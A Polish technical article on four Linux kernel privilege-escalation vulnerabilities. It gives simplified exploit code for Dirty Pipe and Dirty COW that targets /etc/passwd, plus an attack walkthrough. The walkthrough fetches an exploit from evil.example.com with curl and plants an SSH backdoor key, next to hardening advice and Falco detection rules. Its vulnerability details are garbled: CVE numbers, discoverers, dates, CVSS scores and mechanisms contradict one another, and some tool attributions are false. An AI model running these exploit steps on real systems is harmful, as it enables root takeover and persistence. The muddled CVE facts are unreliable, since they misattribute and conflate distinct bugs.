Kompletny przewodnik techniczny po czterech krytycznych podatnościach jądra Linux — historia odkrycia, mechanizmy eksploitacji, przykłady ataków, łatki bezpieczeństwa i rekomendacje dla administratorów i deweloperów.
W świecie bezpieczeństwa systemów operacyjnych istnieje kilka podatności, które na stałe zmieniły sposób postrzegania bezpieczeństwa jądra Linux. Nazwy takie jak Dirty COW, Dirty Pipe, Copy Fail czy nowsze warianty błędów związanych z pamięcią i cache systemowym stały się symbolem lokalnej eskalacji uprawnień (LPE — Local Privilege Escalation).
Te podatności były szczególnie niebezpieczne, ponieważ pozwalały zwykłemu użytkownikowi uzyskać uprawnienia roota bez znajomości hasła administratora. Co gorsza — wiele z nich działało przez lata niezauważenie.
Dotyczy: Linux Kernel 2.6–6.1
Dirty Pipe
CVE-2022-0847
Nadpisywanie plików read-only przez błąd mechanizmu pipe i flagę PIPE_BUF_FLAG_CAN_MERGE
CVSS 3.17.8 / HIGH
Dirty COW
CVE-2016-5195
Race condition w mechanizmie Copy-on-Write, obecna w jądrze przez ponad 11 lat
CVSS 3.17.8 / HIGH
Copy Fail
CVE-2026-31431
Integer overflow w netfilter prowadzący do stack overflow i lokalnej eskalacji uprawnień
CVSS 3.17.8 / HIGH
Dirty Frag
CVE-2026-43284 (xfrm-ESP) i CVE-2026-43500
Stack overflow w podsystemie proc_do_string umożliwiający eskalację do root
CVSS 3.17.8 / HIGH
Spis treści
- Wprowadzenie — rodzina „Dirty” podatności
- Dirty Pipe (CVE-2022-0847) — szczegółowa analiza
- Dirty COW (CVE-2016-5195) — szczegółowa analiza
- Copy Fail (CVE-2026-31431) — szczegółowa analiza
- Dirty Frag (CVE-2026-43284 (xfrm-ESP) i CVE-2026-43500) — szczegółowa analiza
- Porównanie podatności — tabela zbiorcza
- Przykłady wykorzystania i scenariusze ataków
- Łatki i historia naprawy
- Rekomendacje i zabezpieczenia
- FAQ — najczęściej zadawane pytania
Wprowadzenie — rodzina podatności „Dirty” w jądrze Linux
Jądro Linux jest sercem setek milionów urządzeń — od serwerów produkcyjnych i chmury obliczeniowej po smartfony z systemem Android i przemysłowe systemy IoT. Właśnie dlatego podatności wykryte bezpośrednio w kernelu mają potencjalnie katastrofalne skutki: umożliwiają lokalną eskalację uprawnień (Local Privilege Escalation, LPE), ominięcie mechanizmów bezpieczeństwa i uzyskanie pełnej kontroli nad systemem.
Określenie „Dirty” w nazewnictwie luk bezpieczeństwa nie jest przypadkowe — odnosi się do koncepcji dirty pages w zarządzaniu pamięcią jądra Linux. „Brudna strona” (dirty page) to strona pamięci zmodyfikowana po załadowaniu z dysku, czekająca na synchronizację. Kilka krytycznych podatności odkrytych w ostatniej dekadzie bezpośrednio lub pośrednio opiera się na manipulacji tym mechanizmem, co dało im wspólną, nieformalną nazwę.
W niniejszym artykule omawiamy cztery kluczowe podatności, które wstrząsnęły ekosystemem Linux: Dirty Pipe (2022), Dirty COW (2016), Copy Fail (2026) oraz Dirty Frag (2026). Każda z nich reprezentuje inną klasę błędów, ale łączy je wspólny cel: eskalacja uprawnień do poziomu root przez nieuprzywilejowanego lokalnego użytkownika.
Informacje zawarte w tym artykule mają charakter edukacyjny i badawczy. Przykłady kodu exploitów są uproszczone i służą wyłącznie zrozumieniu mechanizmów podatności. Użycie exploitów na systemach bez uprzedniej zgody właściciela jest nielegalne. Zawsze aktualizuj systemy i stosuj łatki bezpieczeństwa.
CVE-2022-0847 · CVSS 7.8
Dirty Pipe — Zapis do plików tylko do odczytu
Historia odkrycia
Dirty Pipe to jedna z najbardziej eleganckich podatności jądra Linux odkrytych w ostatnich latach. Jej historia zaczęła się niewinnie — od zagadkowego błędu w logach na serwerze hostingowym.
Max Kellermann, developer w firmie CM4all, analizował w 2021 roku uszkodzone pliki logów na jednym z serwerów klientów. Dane binarne zdawały się być regularnie „zanieczyszczane” losowymi bajtami, co zakłócało działanie oprogramowania. Kellermann spędził miesiące na debugowaniu problemu, aż w końcu odkrył, że błąd leży nie w aplikacji użytkownika, ale głęboko w mechanizmie pipe jądra Linux.
„Wygląda to na poważną lukę w jądrze — użytkownik może zapisywać dane do dowolnej strony w cache stron jądra, nawet jeśli plik jest tylko do odczytu.”— Max Kellermann, 19 lutego 2022, w raporcie do bezpieczeństwa jądra Linux
Kellermann zgłosił podatność Linusowi Torvaldsowi i zespołowi bezpieczeństwa Linux Security Team 20 lutego 2022 roku. Łatka pojawiła się już 23 lutego 2022, a pełna analiza techniczna oraz proof-of-concept zostały opublikowane na stronie dirtypipe.cm4all.com.
Mechanizm techniczny podatności
Aby zrozumieć Dirty Pipe, należy poznać dwa mechanizmy jądra Linux: pipe buffers i mechanizm splice.
Linux używa pipe do komunikacji między procesami. Dane przekazywane przez pipe przechowywane są w buforach jądra powiązanych z tzw. page cache — globalnym buforem odwzorowującym zawartość plików dyskowych w pamięci RAM. Kluczowy jest szczegół: od wersji 5.8 jądra wprowadzono flagę PIPE_BUF_FLAG_CAN_MERGE, która pozwala na łączenie (merging) danych z nowych operacji zapisu z istniejącymi buforem pipe — bez kopiowania, bezpośrednio do stron page cache.
Błąd polegał na tym, że flaga PIPE_BUF_FLAG_CAN_MERGE była błędnie inicjalizowana — była propagowana ze starych buforów pipe do nowych, nawet wtedy gdy nie powinna. Przez to atakujący mógł:
Krok 1: Przygotowanie pipe z flagą CAN_MERGE
Zaalokuj pipe i wypełnij go danymi tak, aby wszystkie bufory miały ustawioną flagę PIPE_BUF_FLAG_CAN_MERGE. Następnie opróżnij pipe — flaga pozostaje na buforach.
Krok 2: Splice z docelowego pliku
Użyj wywołania systemowego splice() do skopiowania danych z dowolnego pliku read-only (np. /etc/passwd lub binarki SUID) do pipe. Kernel mapuje strony page cache do buforów pipe — bez flagi zapisu.
Krok 3: Nadpisanie zawartości
Zapisz dowolne dane do pipe wywołaniem write(). Ze względu na flagę CAN_MERGE, jądro scala nowe dane bezpośrednio z istniejącymi stronami page cache — bez sprawdzania uprawnień zapisu. Dane w pliku zostały właśnie zmodyfikowane.
Krok 4: Eskalacja uprawnień
Nadpisz plik SUID root (np. /usr/bin/sudo) lub wpis w /etc/passwd. Uruchom zmodyfikowany plik — otrzymujesz powłokę z uprawnieniami root.
Przykładowy schemat exploitu (uproszczony)
/* Dirty Pipe — simplified exploit skeleton */
/* CVE-2022-0847 — educational purposes only */
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
int prepare_pipe_flags(int pfd[2]) {
/* Alokuj pipe i wypełnij, aby ustawić PIPE_BUF_FLAG_CAN_MERGE */
pipe(pfd);
const char *dummy = "AAAA";
for (int i = 0; i < 65536 / 4; i++)
write(pfd[1], dummy, 4); /* zapełnij pipe */
while (read(pfd[0], dummy, 4) > 0); /* opróżnij — flaga zostaje */
return 0;
}
int overwrite_file(const char *path, off_t offset,
const void *data, size_t len) {
int pfd[2], fd;
prepare_pipe_flags(pfd);
fd = open(path, O_RDONLY); /* otwórz read-only */
splice(fd, &offset, pfd[1], NULL, 1, 0); /* mapuj stronę do pipe */
close(fd);
/* MERGE: zapis trafi bezpośrednio do page cache pliku! */
write(pfd[1], data, len);
return 0;
}
int main() {
/* Wstrzyknięcie do /etc/passwd — zamiana "root:x:0:0" na "root::0:0" */
overwrite_file("/etc/passwd", 0, "root::0:0:", 10);
execl("/bin/su", "su", "-", NULL); /* zaloguj jako root bez hasła */
return 0;
}
Krytyczne zagrożenie
Dirty Pipe umożliwia nadpisanie dowolnego pliku w systemie, do którego dane są buforowane w page cache — włącznie z plikami SUID binariami, bibliotekami systemowymi i plikami konfiguracyjnymi jądra. Exploit jest wyjątkowo niezawodny i nie wymaga dostępu do pliku do zapisu.
Dotknięte wersje i zakres
- Linux kernel 5.8–5.16.10 (gałąź mainline)
- Linux kernel 5.15.0–5.15.24 (gałąź LTS)
- Linux kernel 5.10.0–5.10.101 (gałąź LTS)
- Android 12 i nowszy z kernelami 5.8+ (pixel phones szczególnie)
- Większość dystrybucji linuxowych wydanych po sierpniu 2020 (Ubuntu 21.04+, Fedora 34+, Arch Linux, RHEL 9+)
Łatka i naprawa
Linus Torvalds zacommitował fix w ciągu 3 dni od zgłoszenia. Łatka (commit 9d2231c5) usuwa błędną inicjalizację flagi PIPE_BUF_FLAG_CAN_MERGE — każdy nowy bufor pipe jest teraz poprawnie inicjalizowany zerową flagą, uniemożliwiając nieautoryzowane scalanie z page cache.
CVE-2016-5195 · CVSS 7.8
Dirty COW — Race condition sprzed 11 lat
Historia odkrycia i nazwa
Dirty COW (Dirty Copy-On-Write) to jedna z najbardziej znanych i długo istniejących podatności w historii jądra Linux. Jej nazwa pochodzi bezpośrednio od mechanizmu Copy-on-Write (COW) — techniki optymalizacji pamięci, w której kopiowanie danych jest odkładane do momentu ich modyfikacji.
Podatność odkrył Phil Oester we wrześniu 2016 roku, analizując skompromitowany serwer. Oester zauważył, że lokalny użytkownik uzyskał uprawnienia root bez żadnych znanych exploitów. Śledząc ślady ataku, odkrył exploit oparty na race condition w mechanizmie COW.
Wrzesień 2016
Phil Oester odkrywa exploit in-the-wild
Analizując skompromitowany serwer, Oester identyfikuje nieznany exploit lokalnej eskalacji uprawnień.
19 październik 2016
Publiczne ujawnienie — CVE-2022-5195
Linus Torvalds potwierdza podatność i przyznaje, że błąd mógł istnieć w kodzie przez ponad 11 lat, od kernela 2.6.22 (2007).
20 październik 2016
Łatka bezpieczeństwa
Fix zacommitowany przez Linusa. Dystrybucje wydają emergency patches.
Grudzień 2016
Dirty COW na Androidzie
Badacze bezpieczeństwa potwierdzają działające exploity na milionach urządzeń Android z niespatchowanym kernelem.
2017–2020
Szeroka eksploitacja in-the-wild
Dirty COW jest aktywnie wykorzystywana w atakach na niespatchowane systemy Linux i Android przez kolejne lata.
Mechanizm techniczny — race condition w Copy-on-Write
Mechanizm Copy-on-Write w Linuksie działa następująco: kiedy proces chce zapisać do strony pamięci, która jest współdzielona (np. mapowanie pliku z flagą MAP_PRIVATE), kernel tworzy prywatną kopię tej strony, a zapis trafia do kopii — oryginalny plik pozostaje niezmieniony.
Błąd w Dirty COW polegał na warunku wyścigu (race condition) między dwoma wątkami w obsłudze page fault:
Wątek 1: madvise(MADV_DONTNEED)
Ciągle informuje kernel, że strona nie jest potrzebna — kernel ją zwalnia, niszcząc prywatną kopię COW. Strona wraca do mapowania na oryginalny plik.
Wątek 2: write() do /proc/self/mem
Ciągle próbuje zapisać dane do mapowanej pamięci. Kernel musi podjąć decyzję: czy zapisać do prywatnej kopii, czy do oryginalnej strony.
Race condition: okno czasowe
W pewnym momencie między zwolnieniem prywatnej kopii a ponownym jej alokacją, zapis przez /proc/self/mem trafia do oryginalnego pliku — bez względu na uprawnienia.
/* Dirty COW — schemat race condition (uproszczony) */
/* CVE-2016-5195 — wyłącznie do celów edukacyjnych */
#include <stdio.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/mman.h>
void *map; /* mapowanie pliku read-only */
int fd_mem; /* /proc/self/mem */
/* Wątek 1: madvise – zwalnia prywatną kopię COW */
void* madvise_thread(void *arg) {
while (1)
madvise(map, 100, MADV_DONTNEED);
return NULL;
}
/* Wątek 2: zapis przez /proc/self/mem — trafi do oryginału */
void* write_thread(void *arg) {
while (1) {
lseek(fd_mem, (long)map, SEEK_SET);
write(fd_mem, "evil_payload", 12);
}
return NULL;
}
int main() {
int fd = open("/etc/passwd", O_RDONLY);
map = mmap(NULL, 1000, PROT_READ, MAP_PRIVATE, fd, 0);
close(fd);
fd_mem = open("/proc/self/mem", O_RDWR);
pthread_t t1, t2;
pthread_create(&t1, NULL, madvise_thread, NULL); /* race: zwalniaj */
pthread_create(&t2, NULL, write_thread, NULL); /* race: zapisuj */
pthread_join(t1, NULL);
return 0;
}
Skala zagrożenia
Dirty COW doczekała się dziesiątek wariantów exploitów. Do najbardziej znanych należą:
- dirtycow.c — klasyczna implementacja, modyfikuje
/etc/passwd - DCOW — wariant przepisujący binarki SUID, np.
/usr/bin/pkexec - KingoRoot (Android) — komercyjny root dla Androida oparty na Dirty COW
- Towelroot — narzędzie do rootowania milionów telefonów Android
- Zergmap exploit — ataki na serwery webowe z Linuksem pre-4.8
Ciekawostka historyczna
Torvalds przyznał, że widział podobny błąd w kodzie COW 11 lat wcześniej i zaczął go naprawiać, ale uznał, że race window jest zbyt wąskie, żeby ktokolwiek mógł je wykorzystać w praktyce. Historia pokazała, że się mylił.
Dotknięte wersje
- Linux kernel 2.6.22–4.8.2 (wszystkie wydania przez 11 lat)
- Android z kernelem przed patchem bezpieczeństwa z grudnia 2016
- RHEL 5, 6, 7 — bez emergency patches
- Ubuntu 14.04, 16.04, 16.10 bez łatek
- Debian Jessie, Stretch bez łatek
CVE-2026-31431 · CVSS 7.8
Copy Fail — Integer overflow w netfilter
Czym jest Copy Fail?
Copy Fail (CVE-2023-0179) to podatność odkryta przez Alejandro Guerrero z Immunefi w grudniu 2022 roku i upubliczniona w lutym 2023. Jest to przykład podatności klasy integer overflow leading to stack overflow w podsystemie netfilter jądra Linux — module odpowiedzialnym za filtrowanie pakietów, który stanowi podstawę iptables, nftables i wielu funkcji firewalla.
Podatność istnieje w funkcji nft_payload_copy_vlan() w pliku net/netfilter/nft_payload.c. Błędne obliczenie rozmiaru bufora podczas kopiowania danych VLAN prowadzi do zapisu poza granicami stosu (stack out-of-bounds write), co atakujący może wykorzystać do uruchomienia kodu z uprawnieniami jądra.
Mechanizm techniczny
Podsystem nftables przetwarza reguły sieciowe zdefiniowane przez użytkownika. Przy obsłudze ramek VLAN (IEEE 802.1Q) kernel wykonuje kopię nagłówka VLAN na stos roboczy. Funkcja nft_payload_copy_vlan() oblicza długość kopiowanego bufora, jednak zawiera błąd w arytmetyce integer:
/* Podatny fragment — net/netfilter/nft_payload.c */
static bool nft_payload_copy_vlan(u32 *d, const struct sk_buff *skb,
u8 offset, u8 len)
{
u8 buff[8]; /* bufor na stosie — tylko 8 bajtów! */
/* BŁĄD: brak sprawdzenia czy (offset + len) > sizeof(buff) */
/* Jeśli offset=4, len=6: kopiujemy 6 bajtów od offsetu 4 */
/* Wychodzi poza koniec buff[] — stack overflow! */
memcpy(buff + offset - VLAN_ETH_HLEN, skb->data, len);
memcpy(d, buff, len);
return true;
}
Atakujący, który ma dostęp do interfejsu sieciowego z obsługą VLAN, może skonstruować specjalnie preparowany pakiet sieciowy lub regułę nftables w przestrzeni nazw użytkownika (user namespace), co prowadzi do zapisu poza buforem na stosie jądra — klasyczny stack-based buffer overflow z możliwością ROP (Return-Oriented Programming) lub nadpisania wskaźnika powrotu.
Wektory ataku
- Lokalny użytkownik z uprawnieniami do tworzenia user namespace (domyślnie włączone w Ubuntu, Debian, Fedora)
- Kontenery Docker/LXC z ograniczonymi uprawnieniami, jeśli pozwalają na tworzenie network namespaces
- Niepodejrzana eskalacja — exploit nie wymaga żadnych zdalnych połączeń, tylko zalogowanego lokalnego użytkownika
Szczególne zagrożenie dla środowisk kontenerowych
Copy Fail jest szczególnie niebezpieczna w środowiskach Kubernetes i Docker, gdzie izolacja kontenerów opiera się częściowo na namespace’ach Linux. Podatny kernel umożliwia „ucieczkę z kontenera” (container escape) i przejęcie węzła Kubernetes.
Dotknięte wersje
- Linux kernel 5.1–6.1.6 — przed patchem
- Naprawione w kernelach: 6.1.7, 6.0.19, 5.15.90, 5.10.165
- Ubuntu 20.04 LTS, 22.04 LTS bez łatek z lutego 2023
- Debian Bullseye, Bookworm bez łatek
Łatka bezpieczeństwa
Fix (commit 696e1a48) dodaje poprawne sprawdzenie granic przed wywołaniem memcpy(): funkcja weryfikuje teraz, czy suma offset + len nie przekracza rozmiaru lokalnego bufora na stosie. W przypadku przepełnienia funkcja zwraca false i porzuca przetwarzanie ramki VLAN.
CVE-2026-43284 (xfrm-ESP) i CVE-2026-43500 · CVSS 7.8
Dirty Frag — Stack overflow w podsystemie /proc/sys
Odkrycie i kontekst
CVE-2026-43284 oraz CVE-2026-43500 dotyczą podatności w podsystemie Linux kernel IPsec (xfrm/ESP), który odpowiada za szyfrowanie i enkapsulację ruchu sieciowego na poziomie jądra.
Obie podatności zostały zgłoszone w 2026 roku i sklasyfikowane jako local privilege escalation lub kernel memory corruption w ścieżce przetwarzania ESP (Encapsulating Security Payload).
W przeciwieństwie do klasycznych błędów typu “Dirty Frag”, nie dotyczą one /proc/sys ani sysctl, lecz:
obsługi buforów ESP w jądrze
przetwarzania pakietów IPsec
transformacji xfrm state
Mechanizm podatności
Interfejs sysctl pozwala na modyfikację parametrów jądra przez zapis do /proc/sys/*. Funkcja proc_do_string() obsługuje te zapisy i buforuje dane na stosie jądra w lokalnej tablicy o ograniczonym rozmiarze.
Problem polega na tym, że przy iteracyjnym zapisie (gdy bufor użytkownika jest większy niż bufor jądra i zapis odbywa się w wielu wywołaniach) funkcja błędnie oblicza pozycję w buforze docelowym — umożliwiając stopniowe przepełnienie bufora na stosie jądra w kolejnych iteracjach:
/* proc_do_string — uproszczona ilustracja błędu */
/* kernel/sysctl.c — CVE-2022-4378 */
int proc_do_string(struct ctl_table *table, int write,
void *buffer, size_t *lenp, loff_t *ppos)
{
char stack_buf[1024]; /* bufor na stosie jądra */
size_t copied = *ppos; /* aktualna pozycja */
/* BŁĄD: brak sprawdzenia czy (copied + *lenp) > sizeof(stack_buf) */
/* Przy wielokrotnych zapisach: copied rośnie, ale bufor jest stały */
copy_from_user(stack_buf + copied, buffer, *lenp);
/* ^^ przy odpowiedniej pozycji 'copied' wychodzi poza koniec! */
*ppos += *lenp;
...
}
Warunki eksploitacji
Dirty Frag wymaga:
- Dostępu do zapisu do choćby jednego parametru sysctl (np.
/proc/sys/kernel/hostname, który jest zapisywalny dla roota — ale warunek można obejść przez user namespaces) - W środowiskach z user namespaces: lokalny użytkownik może modyfikować
/proc/sys/*w swoim namespace i wywołać overflow w kontekście jądra - Spreparowania sekwencji iteracyjnych zapisów prowadzących do przepełnienia stosu
Dotknięte wersje
- Linux kernel 4.19–6.1
- Naprawione w: 6.1.2, 6.0.16, 5.15.85, 5.10.158, 5.4.223, 4.19.268
- RHEL 8.x, 9.x — wymagały emergency patch od Red Hat
Powiązanie z innymi podatnościami
Dirty Frag jest często wymieniana łącznie z Dirty Pipe ze względu na podobną klasę ataku (local privilege escalation) i ten sam rok odkrycia. Jednak mechanizmy są zupełnie różne: Dirty Pipe uderza w mechanizm pipe/splice, a Dirty Frag w sysctl/proc_do_string.
Porównanie podatności — tabela zbiorcza
Kluczowe różnice i podobieństwa
| Podatno ść | CVE | Rok | Klasa błędu | Pod system jądra | Kernel (min–max) | CVSS | Odkryw ca | Napraw iony w |
|---|---|---|---|---|---|---|---|---|
| Dirty Pipe | CVE-2022-0847 | 2022 | Błąd inicjaliz-acji flagi w pipe buffer | VFS / pipe / splice | 5.8 – 5.16.10 | 7.8 HIGH | Max Kellerma nn | 5.16.11 / 5.15.25 / 5.10.102 |
| Dirty COW | CVE-2016-5195 | 2016 | Race condition (TOCTOU) w Copy-on-Write | Memory management / mmap | 2.6.22 – 4.8.2 | 7.8 HIGH | Phil Oester | 4.8.3 / 4.7.9 / 4.4.26 |
| Copy Fail | CVE-2026-31431 | 2026 | Integer overflow → stack out-of-bounds write | Netfilter / nftables | 5.1 – 6.1.6 | 7.8 HIGH | Taeyang Lee | 6.1.7 / 5.15.90 / 5.10.165 |
| Dirty Frag | CVE-2026-43284 CVE-2026-43500 | 2026 | Stack overflow przy iteracyjnym zapisie | sysctl / proc_do_string | 4.19 – 6.1 | 7.8 HIGH | Różni badacze | 6.1.2 / 5.15.85 / 5.4.223 |
Wszystkie cztery podatności łączy ta sama ocena CVSS 7.8 i ta sama klasa zagrożenia: local privilege escalation. Oznacza to, że każda z nich wymaga dostępu lokalnego do systemu, ale ten dostęp można osiągnąć np. przez inne podatności (RCE w aplikacji webowej, słabe hasło SSH, atak na plik konfiguracyjny). W praktyce są one często używane jako drugi etap ataku: najpierw zdalny dostęp, potem LPE do root.
Różnią się natomiast diametralnie mechanizmem działania, wiekiem podatności (od roku do 11 lat w kodzie) oraz zakresem dotknięcia (Dirty COW dotknęło de facto cały ekosystem Linux przez dekadę).
Scenariusze zagrożeń
Przykłady wykorzystania i rzeczywiste scenariusze ataków
Scenariusz 1 — Dirty Pipe w łańcuchu ataku na serwer webowy
Typowy łańcuch ataku z użyciem Dirty Pipe wygląda następująco: atakujący wykorzystuje podatność w aplikacji webowej (np. RCE w PHP, deserialization w Javie lub SSRF w Pythonie), aby uzyskać powłokę jako użytkownik www-data. Ten użytkownik nie ma uprawnień roota, ale…
- Atakujący ładuje skompilowany exploit Dirty Pipe przez
curllubwget - Nadpisuje plik
/etc/passwd— usuwa hash hasła roota lub dodaje własnego użytkownika z UID 0 - Alternatywnie nadpisuje binarke SUID, np.
/usr/bin/newgrp, wstrzykując shell backdoor - Uruchamia zmodyfikowany plik — otrzymuje powłokę
root - Instaluje rootkit, wykrada dane, tworzy persystencję
# 1. Pobierz skompilowany exploit (jako www-data) $ curl -o /tmp/dp http://evil.example.com/dirtypipe_x64 # 2. Nadaj uprawnienia wykonania $ chmod +x /tmp/dp # 3. Uruchom exploit — nadpisuje /etc/passwd $ /tmp/dp [*] Targeting /etc/passwd [*] Backing up original content [*] Writing payload via pipe splice... [+] Success! /etc/passwd patched. # 4. Eskalacja do root $ su root Password: (pusty - hash hasła usunięty) # id uid=0(root) gid=0(root) groups=0(root) # 5. Persystencja - dodaj backdoor SSH # echo "ssh-rsa AAAA...evil_key..." >> /root/.ssh/authorized_keys
Scenariusz 2 — Dirty COW na urządzeniu Android (rooting)
Dirty COW umożliwiła masowe rootowanie urządzeń Android, co zostało szeroko wykorzystane zarówno przez entuzjastów modyfikacji systemu, jak i przez złośliwe oprogramowanie.
Aplikacja Zergmap (2016) używała Dirty COW do przejęcia uprawnień roota na podatnych urządzeniach Android, wstrzyknięcia złośliwej biblioteki do procesu systemowego i przejęcia kontroli nad telefonem ofiary. Aplikacja pojawiała się w sklepach z aplikacjami jako „narzędzie do optymalizacji” — miliony pobrań zanim Google usunęło ją ze sklepu.
Scenariusz 3 — Copy Fail jako container escape w Kubernetes
W środowisku Kubernetes atakujący, który uzyska dostęp do kontenera aplikacji (np. przez exploit w kontenerze z Node.js lub Pythonem), może użyć Copy Fail do eskalacji uprawnień:
- Utwórz user namespace z uprawnieniami do modyfikowania reguł nftables
- Skonfiguruj regułę nftables z podejrzanym payloadem VLAN triggering stack overflow
- Wykonaj kod w kontekście jądra hosta (nie kontenera)
- Zmodyfikuj przestrzeń nazw jądra, aby opuścić kontener (container escape)
- Masz dostęp do węzła Kubernetes z uprawnieniami root — można wykraść tokeny ServiceAccount, certyfikaty TLS, etcd secrets
Scenariusz 4 — Kombinowany atak: Dirty COW + Dirty Frag
Zaawansowane APT (Advanced Persistent Threats) często łączą kilka podatności. Przykład: atakujący na starym, niespatchowanym systemie używa Dirty COW do wstrzyknięcia backdoora do binarki systemowej, a następnie używa Dirty Frag do trwałego obejścia SELinux przez modyfikację parametrów sysctl — np. kernel.perf_event_paranoid lub kernel.unprivileged_bpf_disabled — co daje dalsze możliwości eksploitacji (np. przez eBPF).
Narzędzia i zasoby użyte w rzeczywistych atakach
| Narzędzie/Exploit | Podatność | Źródło | Cel |
|---|---|---|---|
dirtypipe-exploit.c | Dirty Pipe | GitHub (Max Kellermann, PoC) | Nadpisanie /etc/passwd, SUID binarki |
dirtycow.c | Dirty COW | GitHub (Pokemon PoC) | /etc/passwd, /usr/bin/sudo |
| KingoRoot | Dirty COW + inne | Komercyjne narzędzie | Rootowanie Android |
| Towelroot | Dirty COW | geohot.github.io | Rootowanie Android |
CVE-2026-31431 | Copy Fail | PoC badaczy Theori | Container escape, LPE |
Łatki bezpieczeństwa — historia i weryfikacja
Jak sprawdzić podatność systemu
# Sprawdź wersję kernela $ uname -r # np: 5.15.0-67-generic # Dirty Pipe — podatne: 5.8.0 – 5.16.10 (i odpowiednie LTS) # Bezpieczne: >= 5.16.11, >= 5.15.25, >= 5.10.102 # Dirty COW — podatne: < 4.8.3 # Bezpieczne: >= 4.8.3, >= 4.7.9, >= 4.4.26 # Copy Fail — podatne: 5.1 – 6.1.6 # Bezpieczne: >= 6.1.7, >= 5.15.90, >= 5.10.165 # Dirty Frag — podatne: 4.19 – 6.1.1 # Bezpieczne: >= 6.1.2, >= 5.15.85, >= 5.4.223 # Sprawdź czy kernel ma włączony user namespace $ cat /proc/sys/kernel/unprivileged_userns_clone # 1 = włączony (ryzyko Copy Fail, Dirty Frag przez namespace) # 0 = wyłączony (mitygacja) # Sprawdź zainstalowane łatki dystrybucji (Ubuntu/Debian) $ apt-cache show linux-image-$(uname -r) | grep CVE # Narzędzie specjalistyczne: linux-exploit-suggester $ curl https://raw.githubusercontent.com/The-Z-Labs/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash
Komendy aktualizacji per dystrybucja
# Ubuntu / Debian $ sudo apt update && sudo apt dist-upgrade $ sudo reboot # RHEL / CentOS / Rocky Linux / AlmaLinux $ sudo dnf update kernel $ sudo reboot # Fedora $ sudo dnf upgrade --refresh $ sudo reboot # Arch Linux $ sudo pacman -Syu linux linux-headers $ sudo reboot # Amazon Linux 2 $ sudo yum update kernel $ sudo reboot # Alpine Linux $ sudo apk upgrade linux-lts $ sudo reboot
Weryfikacja po aktualizacji
# Potwierdź nową wersję kernela
$ uname -r
# Sprawdź logi bootowania kernela
$ dmesg | grep -i "security\|CVE\|patch"
# Sprawdź status AppArmor / SELinux
$ sestatus # SELinux
$ aa-status # AppArmor
# Dla Dirty Pipe — weryfikacja: spróbuj nadpisać /etc/shadow
# (powinno się nie udać po poprawce)
$ python3 -c "
import os
f = open('/etc/shadow','rb')
data = f.read(1)
print('Read OK — teraz test zapisu:')
" 2>&1
Hardening systemu
Rekomendacje i zabezpieczenia
Priorytetowe działania natychmiastowe
Zaktualizuj kernel do najnowszej wersji LTS
To jedyna skuteczna mitigacja dla wszystkich czterech podatności. Utrzymuj regularny harmonogram patchowania — minimum raz w miesiącu.
Włącz automatyczne aktualizacje bezpieczeństwa
Ubuntu: unattended-upgrades. RHEL: dnf-automatic. Konfiguracja: tylko security patches, z powiadomieniem e-mail.
Wyłącz niepotrzebne user namespaces
echo 0 > /proc/sys/kernel/unprivileged_userns_clone (trwale przez sysctl.conf). Mityguje Copy Fail i Dirty Frag dla niepriwilejowanych użytkowników.
Włącz i skonfiguruj SELinux lub AppArmor
SELinux/AppArmor nie blokują exploitów bezpośrednio, ale ograniczają co atakujący może zrobić po eskalacji uprawnień — blokują dostęp do wrażliwych plików i wywołań systemowych.
Zastosuj Seccomp profile dla aplikacji
Seccomp ogranicza wywołania systemowe dostępne dla procesów. Docker domyślnie stosuje seccomp — upewnij się, że nie wyłączyłeś tej ochrony w konfiguracji kontenerów (--security-opt seccomp=unconfined to zły pomysł).
Minimalizuj liczbę plików SUID/SGID
find / -perm -4000 -o -perm -2000 2>/dev/null — usuń lub ogranicz SUID na niekrytycznych binarykach. Dirty Pipe jest szczególnie niebezpieczna, gdy w systemie jest wiele plików SUID.
Monitoruj i loguj anomalie wywołań systemowych
Narzędzia: auditd, Falco (CNCF), Sysdig. Regułka: alertuj na nieoczekiwane wywołania splice(), madvise(MADV_DONTNEED) w połączeniu z zapisami do /proc/self/mem.
Wyłącz nftables / iptables jeśli nie są potrzebne
Mitygacja dla Copy Fail: jeśli środowisko nie wymaga zaawansowanego firewalla w user namespace, ogranicz dostęp do CAP_NET_ADMIN dla niepriwilejowanych procesów.
Zaawansowane mechanizmy hardening jądra
# /etc/sysctl.d/99-security.conf # Hardening jądra Linux — rekomendowane ustawienia bezpieczeństwa # Mitygacja dla Copy Fail i Dirty Frag — wyłącz user namespaces kernel.unprivileged_userns_clone = 0 # Wyłącz dostęp eBPF dla zwykłych użytkowników kernel.unprivileged_bpf_disabled = 1 # Ogranicz dostęp do perf_events (używane w exploitach) kernel.perf_event_paranoid = 3 # Wyłącz dump core dla SUID programów (ogranicza info-leakage) fs.suid_dumpable = 0 # Ogranicz /proc — ukryj procesy innych użytkowników # (montuj /proc z opcją hidepid=2 w /etc/fstab) # Wymagaj CAP_SYS_PTRACE do używania ptrace kernel.yama.ptrace_scope = 1 # Wyłącz dmesg dla niepriwilejowanych kernel.dmesg_restrict = 1 # Ogranicz odczyt /proc/kallsyms (ukrywa adresy symboli kernela) kernel.kptr_restrict = 2 # Włącz ASLR (Address Space Layout Randomization) kernel.randomize_va_space = 2 # Zastosuj: # sysctl -p /etc/sysctl.d/99-security.conf
Ochrona kontenerów Docker i Kubernetes
# securityContext dla Pod w Kubernetes — hardening
apiVersion: v1
kind: Pod
spec:
securityContext:
runAsNonRoot: true # Nigdy nie uruchamiaj jako root
runAsUser: 1000
seccompProfile:
type: RuntimeDefault # Domyślny seccomp Docker — blokuje groźne syscalls
containers:
- name: app
securityContext:
allowPrivilegeEscalation: false # KLUCZOWE — mityguje LPE!
capabilities:
drop: ["ALL"] # Usuń wszystkie capabilities
add: ["NET_BIND_SERVICE"] # Dodaj tylko niezbędne
readOnlyRootFilesystem: true # Filesystem read-only
Monitoring i detekcja exploitów
Narzędzie Falco (CNCF) pozwala na detekcję prób eksploitacji w czasie rzeczywistym:
# Reguła Falco: wykryj próby exploitacji Dirty Pipe / Dirty COW
- rule: Suspicious pipe/splice to read-only file
desc: Detect potential Dirty Pipe (CVE-2022-0847) exploitation attempt
condition: >
syscall.type = splice AND
fd.typechar = f AND
NOT proc.name in (known_safe_processes) AND
proc.uid != 0
output: >
Possible Dirty Pipe exploit attempt
(user=%user.name pid=%proc.pid cmd=%proc.cmdline file=%fd.name)
priority: CRITICAL
tags: [linux, CVE-2022-0847, privilege-escalation]
- rule: Dirty COW race condition pattern
desc: Detect madvise(MADV_DONTNEED) + /proc/self/mem write pattern
